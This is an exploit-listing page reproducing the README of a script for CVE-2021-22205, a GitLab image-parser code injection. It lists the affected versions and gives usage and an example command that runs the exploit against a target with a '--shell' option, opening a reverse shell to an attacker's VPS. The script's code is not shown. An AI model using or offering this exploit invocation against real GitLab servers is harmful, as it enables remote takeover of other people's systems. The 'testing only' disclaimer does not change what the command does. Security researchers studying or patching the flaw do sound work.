Sploitus

Exploit for Code Injection in Gitlab

CVE-2021-22205

githubexploit · 2022-07-20

Exploit Code

README22 lines
## https://sploitus.com/exploit?id=9CD2575C-CFA0-50A4-8AEC-4BE620162F81
# CVE-2021-22205  
This vulnerability arises from Gitlab’s improper validation of image files passed to the file parser. This allows attackers to construct malicious requests that execute arbitrary commands on the target system, ultimately leading to control of the Gitlab server. Since most scripts online lack the ability to spawn a shell, this script has been modified to include a one-click “getshell” function.  

## Affected Versions  
* 11.9 <= GitLab (CE/EE) < 13.8.8  
* 13.9 <= GitLab (CE/EE) < 13.9.6  
* 13.10 <= GitLab (CE/EE) < 13.10.3  

## Usage Instructions  
```bash
      ____     _______     ____   ___ ____  _      ____  ____  ____   ___  ____  
     /___\ \ / /____|___ \ / _ \___ \/ |    |___ \|___ \|___ \ / _ \| ___|  
     | |    \ \ / /| _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ \  
     | |___  \ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___)|  
      \____ |  \_/  |_____|   |_____|\___/_____|_|    |_____|_____|_____|\___/|____/  
```
**Usage:** `CVE-2021-22205.py [-h] [-t TARGET] [-c COMMAND] [--shell] [-i IP] [-p PORT]`  
**Example:** `python3 CVE-2021-22205.py -t example_ip --shell -i example_vps_ip -p example_vps_port`  

## Description  
This script is intended only for testing purposes and should not be used for any other purposes.